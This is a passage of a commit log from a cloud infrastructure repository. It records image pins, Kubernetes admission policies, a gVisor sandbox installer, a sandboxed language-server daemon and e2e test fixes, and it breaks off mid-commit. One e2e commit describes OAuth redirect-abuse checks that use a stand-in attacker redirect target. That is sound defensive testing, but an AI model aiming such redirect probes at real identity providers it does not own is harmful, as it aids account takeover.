CI / integrity (push) Canceled after 0s
Mirror to GitHub / publish (push) Canceled after 0s
charts/app/values/hanzo/lsp.yaml — ghcr.io/hanzoai/lsp on the code-exec gVisor
pool (runtimeClassName gvisor, RO rootfs, drop ALL caps, no SA token, PVC
/var/lib/lsp, egress-allowlist to the go module proxy). memory request 4Gi /
limit 6Gi to FIT the pool as sized (was 8Gi = unschedulable). LSP_KEY from KMS
hanzo/prod:/lsp/LSP_KEY.
cloud.yaml — same LSP_KEY env so the /v1/code/lsp thin proxy authenticates.

HELD: digest is a placeholder until ghcr.io/hanzoai/lsp:0.1.0 builds (forge run
#3 running); pins.py gate rejects the zero-digest, so this is NOT pushed yet.
2026-08-06 05:26:39 -07:00
hanzo-dev 5373f84817 karma.style carries a key the door recognizes, instead of one it cannot read
Charts / publish (push) Canceled after 4s
CI / manifests (push) Canceled after 0s
CI / guards (push) Canceled after 0s
CI / integrity (push) Canceled after 0s
Mirror to GitHub / publish (push) Canceled after 0s
The storefront shipped pk_aGFuem8.woN0IELSfgLQF4xg837XiQ — the retired
pk_<b64 org>.<sig> HMAC family. Cloud's one publishable spelling is pk- with a
hyphen (PublishablePrefix, auth_identity.go), and the check is a PREFIX test, so
the old shape does not read as a wrong key: it reads as no key at all, and
/v1/event answers 401 ingest_key_required. Confirmed against api.hanzo.ai on both
the Authorization: Bearer and ?ingest_key= carriers, and karma.style is still
serving the dead value in /config.json today.

While the keyless lane existed this was invisible — those events landed under
$public and nobody could read them. Since that lane was retired on Aug 4 the same
requests are refused outright, so this storefront has been dropping 100% of its
telemetry: view_item, add_to_cart, begin_checkout, purchase.

The replacement is the hanzo org's publishable key, the same one docs.hanzo.ai,
hanzo.ai and hanzo.app already ship. An org key resolves through IAM and carries
no project, so nothing rewrites `product` — a project key would overwrite it with
the project's name.

Still a literal rather than a secretKeyRef: the value is published to every
browser in /config.json, so sealing it would protect nothing and only hide which
org this storefront reports as.

Co-authored-by: Hanzo Dev <dev@hanzo.ai>
2026-08-06 05:25:05 -07:00
hanzo-dev 0ccb916345 e2e: the login gate was not driving a login
Charts / publish (push) Canceled after 0s
CI / manifests (push) Canceled after 0s
CI / guards (push) Canceled after 0s
CI / integrity (push) Canceled after 4s
Mirror to GitHub / publish (push) Canceled after 0s
E2E / cli (push) Successful in 3m12s
E2E / browser (push) Failing after 56m1s
Pointed at a stub that implements nothing, 13 of this file's tests passed —
including every "authorize renders sign-in (real UI)" row. Three separate
reasons, each measured:

The drive sent no PKCE. Every app here is a public client and the IdP
enforces it: authorize without a code_challenge answers
`invalid_request / "PKCE is required for public clients"` and bounces to the
app's callback. So layer 2 was reading an error page and asking whether it
looked like a login. The file asserts elsewhere that each issuer advertises a
"code+PKCE" endpoint and then sent no challenge. With PKCE, lux.id serves its
login normally — one of the failures was the test's own doing.

Layer 2 claimed to be a redirect gate on the premise that a compliant server
refuses to render login for a bad redirect. Measured: hanzo.id renders a
byte-identical page (134 chars) for console.hanzo.ai's callback and for
e2e-unallowed.invalid/steal. It has no discriminating power over redirects
and now says so — it is a reachability check, which is the outage this file
was written for. Layer 1 is the redirect gate.

Its affordance matcher accepted buttons, and a brochure has buttons. The
stub's "Continue with Hanzo" satisfied it. Now a credential INPUT: measured
live, hanzo.id and lux.id each render one password and one text input, while
zoolabs.id and pars.id render zero of anything because their authorize is
erroring — which is the finding, not a reason to loosen the matcher.

Adds layer 3 for the redirect property that IS spec-mandated and reachable
unauthenticated: RFC 6749 4.1.2.1's "MUST NOT automatically redirect the
user-agent to the invalid redirection URI". All four issuers pass. It
compares HOSTNAMES — a substring match reported all four as handing the
user-agent to the evil host, because the authorize URL carries that host in
its own query string and percent-encoding leaves it intact. Four false
alarms on the one assertion here that reads as a vulnerability. It also
carries a coverage floor, since "did not redirect anywhere bad" is trivially
true of a server that does nothing.

Prod is unchanged at 10 failed / 32 passed; the 10 are pre-existing and are
what the gate exists to report. Against the stub: 13 -> 0.
2026-08-06 05:23:21 -07:00
hanzo-dev 717f0e205e lsp: the daemon that runs a language server over tenant source, declared
hanzoai/lsp holds immutable per-(org, repo, commit) trees on a volume and
answers position questions about them. The answer it exists for is a definition
that leaves the repository and lands in a dependency — which means fetching that
dependency and type-checking both, which means running gopls, and `go list`
under it, over untrusted bytes. That clause is why this is a Deployment and not
code in the cloud pod, and everything in the values file is downstream of it:
runsc outside, the daemon's own namespaces + chroot + seccomp inside, non-root
at a fixed uid, a read-only rootfs, no capabilities, no service-account token,
and an egress policy whose `except` list is the part that matters.

WHAT IS TRUE TODAY, so nobody reads this as shipped:

  * The image tag and digest are PLACEHOLDERS. hanzoai/lsp's first CI run is
    queued on the git.hanzo.ai runners; this file gets the real pair in a
    follow-up commit, and until then the Deployment cannot pull. That is the
    right failure — a values file pinned to a tag that does not exist is an
    ImagePullBackOff you have to go and read, and this one says so in the diff.
  * The pod will be Pending after that. RuntimeClass/gvisor schedules onto
    worker-pool, whose s-4vcpu-8gb nodes have ~6.2Gi allocatable, and this
    daemon asks for 8Gi — 4 live roots, a 6 GiB address-space rlimit per
    language server, and a memory-backed 2 GiB tmpfs inside each jail. The
    number is stated rather than shaved to fit, because a daemon that OOM-kills
    gopls mid-index reads as flaky for weeks and a Pending pod reads as itself.
  * gvisor-installer is still 0/0/0. `runtimeClassName: gvisor` is a promise the
    cluster cannot keep yet; the daemon's own boot-time probe is what refuses to
    trade on it — /readyz stays 503 and the Service keeps no endpoints until the
    jail proves out on the actual host.

The key is ONE secret with TWO readers: hanzo/lsp/LSP_KEY@prod, synced here as
`lsp-env` and read by cloud's /v1/code/lsp proxy as X-API-Key. cloud takes it
`optional: true` so the fleet's front door does not crash-loop on a sibling
release that has not synced; the daemon is the end that fails closed, refusing
every request when the key is empty rather than serving whoever asks.

No nodeSelector and no tolerations in this file, deliberately — see the chart
commit: the RuntimeClass merges the pool at admission and the node set has
exactly one home.
2026-08-06 05:23:21 -07:00
zeekay 17f94ad265 zt: the guards are guarded
CI / manifests (push) Canceled after 0s
CI / guards (push) Canceled after 0s
CI / integrity (push) Canceled after 0s
Mirror to GitHub / publish (push) Canceled after 0s
Neither policy that enforces "changes arrive through cd" was itself managed by
cd. kms-only-secrets and pipeline-only-releases were applied by hand and declared
nowhere — the only trace in this repo was a COMMENT describing one of them. Any
kubeconfig could have deleted the control that refused a hand-made release build
this morning, and nothing would have put it back.

pipeline-only-releases is adopted VERBATIM: kubectl diff against the live object
is empty, so this changes nothing about its behaviour and everything about who
can remove it.

kms-only-secrets is split, because it was two policies wearing one name. It
carried validations[0] admitting `grandfathered` and validations[1] asserting
!(user in grandfathered) — the second refusing exactly the twelve the first
admits. VAP requires ALL validations to pass and validationActions is set per
BINDING, so under [Warn] the contradiction is quiet telemetry and under [Deny]
the grandfather list inverts into a deny-list. It would have denied
hanzocd-application-controller, and a policy that stops the reconciler cannot be
reverted by the reconciler.

The two jobs were never one job. Enforcement asks who may write a Secret; debt
asks which of those should have migrated to a KMSSecret. Braided they cancel;
separated each is trivially correct and each gets its own binding, which is the
only place an action can be set:

  kms-only-secrets    one validation, allowlist, [Deny] scoped to ns/zen
  kms-migration-debt  failurePolicy Ignore + [Warn] — structurally unable to
                      block, so it can be wrong without being dangerous

That property is the point of the split: the enforcing policy must never be able
to be wrong quietly, and the reporting policy must never be able to be dangerous.
2026-08-06 05:22:46 -07:00
hanzo-ciandhanzo-dev 0fd6a1732c iam v1.34.22 -> v1.34.23
CI / manifests (push) Canceled after 0s
CI / guards (push) Canceled after 0s
CI / integrity (push) Canceled after 0s
Mirror to GitHub / publish (push) Canceled after 0s
Charts / publish (push) Canceled after 0s
ghcr.io/hanzoai/iam:v1.34.23
sha256:0d21bcb8ef8e14deab8a765c188b2acc56238123e90c1a7cdf2dc5e895e551e8

Tag and digest are one registry answer, resolved together and written in one
edit, so the name a human reads and the bytes the kubelet pulls cannot be two
different releases. cd.hanzo.ai reconciles the change from here.

Pinned-by: hand

Co-authored-by: Hanzo Dev <dev@hanzo.ai>
2026-08-06 05:18:46 -07:00
hanzo-dev 83b7bb9cd5 cloud sha-0dfe88d35cdf -> sha-1fa6f964cb4d: the ledger reads get an address
Charts / publish (push) Canceled after 0s
CI / manifests (push) Canceled after 0s
CI / guards (push) Canceled after 0s
CI / integrity (push) Canceled after 0s
Mirror to GitHub / publish (push) Canceled after 0s
GET /v1/billing/{transactions,credit-balance,accounts} and
accounts/:id/members 404'd in production, so billing.hanzo.ai's
Transactions, Credits, Team and Settings tabs were permanently empty.

It read as a stale image and was not one. commerce declares all four on
its api.Route() `user` group, but the co-resident embed registers on the
HOST's router and never compiles that table — a commerce route reaches
production only if apps/commerce/mount.go names it, and none of these
was named in any image ever built. The pinned module already carried
every handler (v1.50.11 has all four symbols), which is why grepping the
library found them wired while the tabs stayed blank.

Forward: 0dfe88d35cdf is an ancestor of 1fa6f964c on hanzo-inc/cloud.

Verified in the BYTES rather than the tag, with a control: the string
/v1/billing/transactions is absent from sha-0dfe88d35cdf's commerce
binary (0 hits) and present in sha-1fa6f964cb4d's (1 hit), while
/v1/billing/tier is present in BOTH — so the probe can tell the images
apart and is not merely failing to match.
2026-08-06 05:18:16 -07:00
hanzo-ci 4de334fbed billing 1.0.23 -> 1.0.24
Mirror to GitHub / publish (push) Canceled after 0s
Charts / publish (push) Canceled after 0s
CI / manifests (push) Canceled after 0s
CI / guards (push) Canceled after 0s
CI / integrity (push) Canceled after 0s
ghcr.io/hanzoai/billing:1.0.24
sha256:f069025b9b9b3861d6d8d1bb8d8bba8b01d2f8343c4534b5c9f37f071bee6cfa

Tag and digest are one registry answer, resolved together and written in one
edit, so the name a human reads and the bytes the kubelet pulls cannot be two
different releases. cd.hanzo.ai reconciles the change from here.

Pinned-by: ci run 35491
2026-08-06 12:12:10 +00:00
hanzo-dev a2d60ac605 chart: a pod can say which kernel it gets, and refuse a token it never uses
Charts / publish (push) Canceled after 0s
CI / manifests (push) Canceled after 0s
CI / guards (push) Canceled after 0s
CI / integrity (push) Canceled after 0s
Mirror to GitHub / publish (push) Canceled after 0s
Two keys, and the first is why the second exists.

runtimeClassName was simply not expressible. charts/app sets
`additionalProperties: false`, so a values file naming it fails the schema — and
the workload it is needed for is not exotic: anything that parses tenant bytes
runs under runsc, and the fleet is about to have two such daemons. Without this
they would have gone to raw manifests outside CD, which is how the gVisor
DaemonSet and RuntimeClass themselves spent 33 days live and in no repository.

It carries the NODE SET too, and that is the part worth knowing: RuntimeClass
merges its own scheduling.nodeSelector and tolerations into the pod at
admission. So a values file that names a RuntimeClass must NOT restate the pool
— the node set is declared once, in infra/k8s/gvisor/runtimeclass.yaml beside
the DaemonSet that installs the runtime there, with a CI gate that fails when
the two disagree. A third copy in a values file is a third thing to be wrong,
and the day a dedicated pool exists the copies conflict and the pod is REJECTED.
The template comment says this where someone about to add nodeSelector will read
it.

automountServiceAccountToken defaults to NULL, not false, and that is not
timidity. The API treats an absent field and `true` as the same thing; a diff
does not. Defaulting it would write the field into every rendered pod in the
fleet and every one would read as changed. `with` cannot express "emit only when
stated" — it treats false as empty — so the guard tests the KIND.

Proven inert: all 106 values files render, and exactly one emits either key.
2026-08-06 05:06:49 -07:00
hanzo-dev cf7eccd006 e2e: prove a test can fail before trusting it
Mirror to GitHub / publish (push) Canceled after 0s
E2E / cli (push) Successful in 3m1s
E2E / browser (push) Canceled after 8m23s
Two of the three chat tests passed against a server that answers 200 on
every path and implements nothing. One asserted only `status < 500`, which
a 404 satisfies; the other asserted `composer || signinButton || loginCopy`
— an OR any page with a textarea or the word "continue" satisfies. Neither
could fail, so neither protected anything.

scripts/stub.cjs is that server, kept deliberately generous: a stub failing
every selector would flatter the suite. scripts/prove.sh points every
overridable service URL at it and lists the tests that still pass. Read a
pass as "cannot tell the product from a stub".

tests/65b-chat-controls.spec.ts replaces the deleted UI tests: the settings
tabs, the exact roster of switches on each (asserted as a SET, so a new
control with no test fails the build), every toggle flipping and persisting,
the dock rendering a CSP-allowlisted frame, and the nav-rail regression.
7 pass against production, 7 fail against the stub.

08-links gains a coverage floor. "0 dead links" is only good news if the
crawl reached the surface — collapse the seeds to a login wall and it
reports clean having checked four urls, which reads exactly like health.

helpers/models: families were read off `body.families`, a key the gateway
has never emitted, so the list was always empty and `families[0]` always
undefined. Every assertion on it failed identically whatever the catalog
held — red through both the bug and the fix, so its colour meant nothing.
Now derived from the ids in catalog order, which makes the remaining red a
real finding: the catalog is alphabetical, so enso sits 27th behind
all-mini-lm-l6-v2 and anthropic-claude-opus-5.
2026-08-06 05:00:03 -07:00
hanzo-dev 71e9d3bf0f chat 1.0.98 -> 1.0.99: + create menu (files + agents)
Mirror to GitHub / publish (push) Canceled after 0s
Charts / publish (push) Canceled after 0s
CI / manifests (push) Canceled after 0s
CI / guards (push) Canceled after 0s
CI / integrity (push) Canceled after 0s
2026-08-06 04:56:57 -07:00
hanzo-ci 85a178c1bc hanzo-app v1.42.336 -> v1.42.337
Charts / publish (push) Canceled after 0s
CI / manifests (push) Canceled after 0s
CI / guards (push) Canceled after 0s
CI / integrity (push) Canceled after 0s
Mirror to GitHub / publish (push) Canceled after 0s
ghcr.io/hanzoai/app:v1.42.337
sha256:16eb47caffb690c7d4ce3b473699fb675c3d2231d0c781552ba34c9d69cdb703

Tag and digest are one registry answer, resolved together and written in one
edit, so the name a human reads and the bytes the kubelet pulls cannot be two
different releases. cd.hanzo.ai reconciles the change from here.

Pinned-by: ci run 35366
2026-08-06 11:56:19 +00:00
zeekay 92738bf2d9 sandboxes: the policy selects the label the code actually sets
Charts / publish (push) Successful in 27s
CI / guards (push) Failing after 12s
CI / manifests (push) Failing after 19s
CI / integrity (push) Failing after 7s
Mirror to GitHub / publish (push) Failing after 8s
The containment shipped two commits ago selected `hanzo.ai/box-class` in
namespace `hanzo-boxes`. The subsystem that creates the pods labels them
`hanzo.ai/sandbox-class` in `hanzo-sandboxes`. So the policy would have matched
nothing — the third instance this week of an object that exists, reads green,
and enforces nothing, after the netpol that selected no pod and the RuntimeClass
that scheduled onto a node pool nobody created.

One vocabulary, chosen to match the API rather than the implementation: the
surface is /v1/sandboxes, so the namespace is hanzo-sandboxes and the label is
hanzo.ai/sandbox-class. "Box" was the container-era name for the same thing and
keeping it would have left the wire, the policy and the product each using a
different word for one object.

This is also why the word matters more than it looks: /v1/machines already
exists and is visor's — whole GPU and VPS instances, sized, quoted and billed.
A sandbox is a pod that runs somebody's code. Two products cannot share a noun.
2026-08-06 04:43:59 -07:00
hanzo-dev 71727f5495 cloud: pin sha-0dfe88d35cdf — the org now rides the wire
Charts / publish (push) Canceled after 0s
CI / manifests (push) Canceled after 0s
CI / guards (push) Canceled after 0s
CI / integrity (push) Canceled after 0s
Mirror to GitHub / publish (push) Canceled after 0s
The previous pin stated the tenant inside the agents op, which is reached over
the plane — a real request. zip reads a stated caller only where there is NO
request (caller.go:352-356), so the statement was discarded and every @hanzo
turn still failed with "authorize: no org on the call".

The bridge now states it on a detached context before the hop, which is where
Caller.headers can render it onto the wire.

Also widens the install URL's scope request to match the app manifest: it asked
for 9 of 13, so an install through it produced a token with no `commands`.
2026-08-06 04:37:45 -07:00
zeekayandhanzo-dev 4365bfc743 gvisor: a DaemonSet on zero nodes is not a sandbox
CI / guards (push) Failing after 14s
CI / manifests (push) Failing after 27s
CI / integrity (push) Failing after 10s
Mirror to GitHub / publish (push) Failing after 12s
The installer for runsc existed ONLY as live state. `kubectl get ds
gvisor-installer -n hanzo` answered, the ConfigMap answered, the ServiceAccount
and RuntimeClass answered, and all four carried
`app.kubernetes.io/managed-by: universe` while no repository held any of them.
Nothing reconciled them, a cluster rebuild lost them, and every fix anyone
applied was invisible to review. runsc IS the boundary around
customer-submitted code, so "the boundary is live state nobody can read" is the
part that mattered.

It was also installing on nothing. The DaemonSet selected `workload: code-exec`
and tolerated `dedicated=code-exec:NoSchedule`. Measured against all 20 nodes of
hanzo-k8s: ZERO carry a `workload` label of any value, and ZERO carry a
`dedicated=code-exec` taint. Both named code-exec-pool, which
infra/terraform/doks/node-pools.tf still lists in its inventory comment and
which does not exist on the cluster. So it read 0 desired / 0 ready / Healthy
for 33 days -- 0 being the correct answer to "how many nodes match", agreed with
by every readback there is. The same shape as a NetworkPolicy selecting no pod.

WHY worker-pool AND NOT THE TAINTS THAT EXIST. `dedicated=data` holds the
datastores and `dedicated=ci-runner` holds CI; tolerating them installs a
runtime, and restarts containerd, on nodes that will never run a sandbox.
Labelling nodes `workload=code-exec` by hand is the disease being cured --
worker-pool is doctl-managed and not in Terraform state, so the label would be
an unreviewable side effect that the next autoscaled node does not inherit.
`doks.digitalocean.com/node-pool` is set by DOKS from the pool definition, so it
needs no hand-labelling and every node the autoscaler adds carries it on
arrival. All 8 worker-pool nodes are untainted, so the toleration is dropped
rather than replaced. MEASURED with an inert probe DaemonSet (a schedulerName no
scheduler answers to, so its pods stayed Pending on no node): this exact
selector reports desiredNumberScheduled 8.

RuntimeClass/gvisor carried the same phantom node set, and it is the half that
decides where sandboxed pods land -- scheduling.nodeSelector is merged in at
admission. Left pointing at `workload: code-exec` it would pin every gVisor pod
to nowhere, forever. One node set, written in two objects that must agree, with
a CI step that fails the build when only one is edited.

PLATFORM PINNED TO systrap. The script chose `kvm` if /dev/kvm exists, and
/dev/kvm DOES exist on DOKS nodes, so every node took kvm silently. Measured on
our real workload: kvm 98805ms vs systrap 81789ms. The auto-detect was a ~21%
regression wearing the costume of a hardware optimisation.

overlay2 = "root:self" added. It keeps the container's writable layer in the
Sentry instead of crossing the gofer for every write and metadata op, which is
the measured hot path (npm install writing 30k files 1.58x, git status lstat
storm 7.63x). NOT MEASURED HERE -- added on gVisor's documented behaviour for
this access pattern, and a separate benchmark is quantifying it.

The script is otherwise byte-identical, including the sha512 fail-closed pin. It
now lives as a real .sh file rather than an escaped blob, generated into the
ConfigMap WITH the name hash: the installer only runs at pod start, so a
same-named ConfigMap would update in place and no node would ever re-run it.

Raw manifests and not charts/app, for two reasons that are not taste: hostPID is
load-bearing (nsenter --target 1 reaches the node's init, and without it the
script configures the pod) and charts/app sets additionalProperties: false with
no hostPID key; and RuntimeClass is cluster-scoped, where one kind outside the
AppProject whitelist refuses the ENTIRE Application. s3-csi, the fleet's other
privileged hostPID node agent, lives here for the same reason.

guard.yaml is new and is the point of the exercise: an hourly CronJob that FAILS
when desiredNumberScheduled is 0, when no node carries the selector, when nodes
are ready short of desired, or when the RuntimeClass and the installer disagree.
It reads the selector off the live object rather than repeating it, so it
follows an edit instead of decaying past one. It reports and does not mutate --
converging restarts containerd on every node it reaches, which is an operator's
decision to schedule.

NOT APPLIED. Bringing this to the 8 worker-pool nodes restarts containerd under
204 running pods; that is a scheduled maintenance, not a side effect of landing
a commit.

Co-authored-by: Hanzo Dev <dev@hanzo.ai>
2026-08-06 04:28:26 -07:00
hanzo-ci dfbfbf3639 hanzo-app v1.42.335 -> v1.42.336
Mirror to GitHub / publish (push) Canceled after 0s
Charts / publish (push) Successful in 30s
ghcr.io/hanzoai/app:v1.42.336
sha256:c04aa43320941845845fb907751205bac30c4e93028bd00b9b21aa89ae5e9340

Tag and digest are one registry answer, resolved together and written in one
edit, so the name a human reads and the bytes the kubelet pulls cannot be two
different releases. cd.hanzo.ai reconciles the change from here.

Pinned-by: ci run 35197
2026-08-06 11:26:54 +00:00
zeekayandhanzo-dev a681944743 LLM.md: three universes are forge-canonical, and the GitHub guard is gone
Mirror to GitHub / publish (push) Canceled after 0s
Two claims in this file outlived the migration they described, and both fail in
the direction that costs a deploy.

1. "luxfi/universe and zooai/universe are PULL MIRRORS of the GitHub repos —
   GitHub is still where Lux and Zoo are written." Not any more. Measured on the
   live plane: lux-fleet sources git.hanzo.ai/luxfi/universe, zoo-fleet sources
   git.hanzo.ai/zooai/universe, and across every Application there is not one
   github.com repoURL (the only non-forge source is oci.hanzo.ai/charts). All
   three universes are canonical on the forge and private; CI/CD is native
   (git.hanzo.ai Actions + platform.hanzo.ai builds), so GitHub is out of the
   loop rather than upstream of it. Acting on the old text would push Lux or Zoo
   changes to a repo nothing reconciles — the exact silent no-op this file opens
   by warning about, in the one place it claimed an exception.

2. "the GitHub copy is archived (the server refuses the push)" — offered as one
   of two guards making that no-op structural. github.com/hanzoai/universe is
   archived=false, private, and was pushed to today: it is the live destination
   of a push mirror OUT, so it must accept writes. The guard does not exist. One
   remains, `.git/hooks/pre-push`, and hooks are not copied by git clone — so a
   fresh checkout now has NO protection where it used to inherit the archive.

Recorded rather than quietly corrected, because a guard that has silently
stopped existing is worse than one never claimed: the reader stops checking.

Also notes, next to the lux/zoo ignoreDifferences difference, that the same
entry on `fleet` is why /spec/replicas is applied at CREATE and never
reconciled again — the footgun that let visor.yaml read 1 while the Deployment
ran 2.

Co-authored-by: Hanzo Dev <dev@hanzo.ai>
2026-08-06 04:13:40 -07:00
hanzo-dev 62095757f3 chat 1.0.97 -> 1.0.98: dictation waveform
Mirror to GitHub / publish (push) Canceled after 0s
Charts / publish (push) Canceled after 0s
CI / manifests (push) Canceled after 0s
CI / guards (push) Canceled after 1m31s
CI / integrity (push) Canceled after 0s
2026-08-06 04:11:03 -07:00
hanzo-ci a492d08b48 billing 1.0.22 -> 1.0.23
Charts / publish (push) Canceled after 0s
CI / manifests (push) Canceled after 0s
CI / guards (push) Canceled after 0s
CI / integrity (push) Canceled after 0s
Mirror to GitHub / publish (push) Canceled after 0s
ghcr.io/hanzoai/billing:1.0.23
sha256:3f4af2668a7b25815de5d64f2c15380142886828999b12399e230b848dda5598

Tag and digest are one registry answer, resolved together and written in one
edit, so the name a human reads and the bytes the kubelet pulls cannot be two
different releases. cd.hanzo.ai reconciles the change from here.

Pinned-by: ci run 35188
2026-08-06 10:56:34 +00:00
zeekay d9369df84d zt: the fleet is reconciled, not edited — the missing third layer
CI / manifests (push) Canceled after 0s
CI / guards (push) Canceled after 0s
CI / integrity (push) Canceled after 0s
Mirror to GitHub / publish (push) Canceled after 0s
Three layers stand between a change and production. Two exist and both work:

  BUILD    pipeline-only-releases [Deny] refuses an image that claims a v<N>
           name without going through cicd.yml. It refused one today.
  DELIVER  pin.sh is semver-only and cd watches the repo, not the registry.
           It refused a sha pin today.
  MUTATE   nothing. Any kubeconfig can edit a live Deployment.

Every out-of-band change this estate has suffered went through the third gap:
kubectl-authored Secrets, hand-built images pinned by hand, a ConfigMap edit
undone minutes later by the reconciler it was fighting. The problem is not
carelessness — it is that layer 3 has no refusal in it, so a mistake there is
invisible until a reconcile reverts it, or worse, until it does not, because the
resource is one nothing reconciles.

This closes it: workloads may be written by cd's reconciler, by the operators
that render their own CRs (declared in git one hop down), and by the control
plane. Everyone else is refused with a message naming the right door — a refusal
that does not say where to go instead just gets routed around. Reads are
untouched; the goal is to stop undeclared CHANGE, not to stop looking.

BOUND AS Warn, NOT Deny, and that is not timidity. The sibling policy
kms-only-secrets carries two validations that contradict — the first admits a
grandfathered principal, the second refuses exactly those — which is harmless
telemetry under Warn and inverts the allowlist into a deny-list the instant the
binding says Deny. It would have denied hanzo-cd's own application controller,
and a policy that takes down the reconciler cannot be reverted BY the
reconciler. So this policy carries exactly ONE validation and will not grow a
second; a new rule gets a new policy with its own binding.

The allowlist is derived from what actually writes to this cluster, but it was
derived under a kubectl that returned empty on the largest queries, so it is
measured-but-incomplete by construction. Soak the warnings for one full CD
resync and one operator reconcile, add whatever legitimate writer they name,
then flip validationActions to ["Deny","Audit"]. One line each way.

Delivered through cd rather than kubectl, because a policy asserting that the
fleet is reconciled and not edited has no business being applied by hand.
2026-08-06 03:47:17 -07:00
zeekayandhanzo-dev a549d0fe74 hanzod(mainnet): GOMEMLIMIT 3GiB — bootstrap costs more than running
CI / manifests (push) Canceled after 0s
CI / guards (push) Canceled after 0s
CI / integrity (push) Canceled after 0s
Mirror to GitHub / publish (push) Canceled after 0s
A validator doing a full sync was still OOMKilled at the 5Gi ceiling with a
4GiB soft target, while its steady-state peers sat at 673Mi-2.3Gi. The gap
between the soft target and the hard limit is what absorbs NON-heap growth —
DB mmap, cgo, per-peer buffers — and a syncing node allocates far more of that
than a running one.

The ceiling cannot go up: the hanzo-val node has 6.26Gi allocatable shared with
33 other pods. So shrink the heap target instead of asking for memory that is
not there. 2Gi of slack below the kill line.

Measured after: restarts 1 -> 0 sustained, memory plateaus at ~3.3Gi with GC
holding it at target rather than sailing into the cgroup ceiling.

This is also the honest reason bootstrap "did not work" and
--skip-bootstrap=true became the default: a validator that OOMs while syncing
can never finish, so the flag hid a sizing bug rather than a protocol one.

Co-authored-by: Hanzo Dev <dev@hanzo.ai>
2026-08-06 03:45:43 -07:00
hanzo-dev b3d9901db3 cloud: pin sha-19010dbbede6 — state the tenant on a plane-dispatched run
CI / manifests (push) Canceled after 0s
CI / guards (push) Canceled after 0s
CI / integrity (push) Canceled after 0s
Mirror to GitHub / publish (push) Canceled after 0s
Charts / publish (push) Canceled after 0s
A Slack turn reached agents over the plane and died with
"authorize: no org on the call". commerce/balance_rpc.go takes the org from
cloud.Who(ctx).Org and refuses when it is empty, which is deliberate: the org
is the CALLER'S and can never be named in the input. A plane-dispatched run
has no inbound request carrying that identity, so there was none to take.

onbehalf_rpc.go now calls cloud.For(ctx, in.Org) before the run. That is the
one construct for this: it states the tenant a BACKGROUND call acts for,
supplying an identity where there is none, and it cannot launder one — zip
prefers a gateway assertion when one exists. in.Org comes from the Slack
install→org map keyed by the Slack-verified team_id, never from the payload.

Tag and digest move together; the kubelet honours the digest.
2026-08-06 03:44:40 -07:00
hanzo-dev ce2093dc96 chat 1.0.96 -> 1.0.97: UI pass
Charts / publish (push) Canceled after 0s
CI / manifests (push) Canceled after 0s
CI / guards (push) Canceled after 0s
CI / integrity (push) Canceled after 0s
Mirror to GitHub / publish (push) Canceled after 0s
2026-08-06 03:37:57 -07:00
hanzo-dev 9c09509c8b billing 1.0.21 -> 1.0.22: one annual price per card, not two
Charts / publish (push) Canceled after 0s
CI / manifests (push) Canceled after 0s
CI / guards (push) Canceled after 0s
CI / integrity (push) Canceled after 0s
Mirror to GitHub / publish (push) Canceled after 0s
2026-08-06 03:32:15 -07:00
hanzo-dev ec64f94ddb billing 1.0.20 -> 1.0.21: the pricing page a prospect sees
Charts / publish (push) Successful in 24s
CI / manifests (push) Failing after 15s
CI / guards (push) Failing after 9s
CI / integrity (push) Failing after 7s
Mirror to GitHub / publish (push) Canceled after 5s
1.0.20 was named for a commit it did not contain. The builder clones
refs/heads/main from GITHUB while the tag is composed from the git.hanzo.ai
event sha, and GitHub was seven commits behind — so the image asserted
315cb42 and shipped the code from 4f404a0d. Verified by content, not by
name: 1.0.21 carries the audience/interval controls and the comparison
matrix, 1.0.20 carries none of them.
2026-08-06 03:24:12 -07:00
hanzo-ci 7ed4a93908 insights-worker 1.52.79 -> 1.52.80
Charts / publish (push) Canceled after 0s
CI / manifests (push) Canceled after 0s
CI / guards (push) Canceled after 0s
CI / integrity (push) Canceled after 0s
Mirror to GitHub / publish (push) Canceled after 0s
ghcr.io/hanzoai/insights:1.52.80
sha256:779c0f9c24a4d89df66d84fa699e0e296859718db42d10a938aee02957af5fb8

Tag and digest are one registry answer, resolved together and written in one
edit, so the name a human reads and the bytes the kubelet pulls cannot be two
different releases. cd.hanzo.ai reconciles the change from here.

Pinned-by: ci run 34922
2026-08-06 10:20:43 +00:00
hanzo-ci b893fbd23f insights-web 1.52.79 -> 1.52.80
ghcr.io/hanzoai/insights:1.52.80
sha256:779c0f9c24a4d89df66d84fa699e0e296859718db42d10a938aee02957af5fb8

Tag and digest are one registry answer, resolved together and written in one
edit, so the name a human reads and the bytes the kubelet pulls cannot be two
different releases. cd.hanzo.ai reconciles the change from here.

Pinned-by: ci run 34922
2026-08-06 10:20:42 +00:00
hanzo-dev 75e5483c8b cloud sha-9c4c861384b6 — @hanzo answers in Slack, with a real App Home
Charts / publish (push) Canceled after 0s
CI / manifests (push) Canceled after 0s
CI / guards (push) Canceled after 0s
CI / integrity (push) Canceled after 0s
Mirror to GitHub / publish (push) Canceled after 0s
tag    v1.801.486 -> sha-9c4c861384b6
  digest b62be7f5... -> sha256:ac9f359ec08e13be0bd98b6d0197e79650bff3061b7b297a67dc74039f329d86

A sha- tag, not a v*: the admission policy reserves v* for the pipeline that
claims refs/tags/v<N> as a compare-and-swap before it builds, so a namespace
build cannot mint one. That is the tag-is-a-receipt invariant working.

BUILT-IN DEFAULT AGENT — the actual cause of "agents: agent not found", which
is what @hanzo said once the plugin-boundary fix let the turn through. Store
.Resolve is a plain row lookup with NO seeding anywhere, and the bridges ask
for the conventional ref "hanzo", so an org that connected Slack and did
nothing else had no agent at all. @hanzo could not work out of the box in ANY
workspace. The ref now resolves to a built-in default; an org's own row still
wins, and an unknown ref stays a miss.

CHAT BRAIN = enso, the auto-routing SKU. I had used cloud.FallbackModel, whose
own doc says it "keeps a bot's reply landing when the flash tier is saturated;
the interactive chat path never uses it" — the degraded tier, wired as the
default. BRIDGE_AGENT_MODEL overrides.

APP HOME — model selector, mode, connected-as, getting started, replacing
Slack's "this is still a work in progress" placeholder. Both controls write the
SAME userLink the chat path reads, and the turn carries that model per-request:
it is a preference of the person asking, not a property of the agent.

Also: a bounded, actor-attributed tool-calling loop in the agent run, and a
curated tool projection in fleet.
2026-08-06 03:18:29 -07:00
zeekayandhanzo-dev ff603bcac4 superbase 0.3.4 -> 0.3.9 + KMS over ZAP, in ONE change because either alone breaks
Mirror to GitHub / publish (push) Canceled after 0s
Charts / publish (push) Canceled after 0s
CI / manifests (push) Canceled after 0s
CI / guards (push) Canceled after 0s
CI / integrity (push) Canceled after 0s
Since hanzoai/base v1.5.4 -> v1.5.16 landed on superbase main, no build off main
could boot:

  panic: kms: "https://kms.hanzo.ai" is an HTTP endpoint — Base speaks native
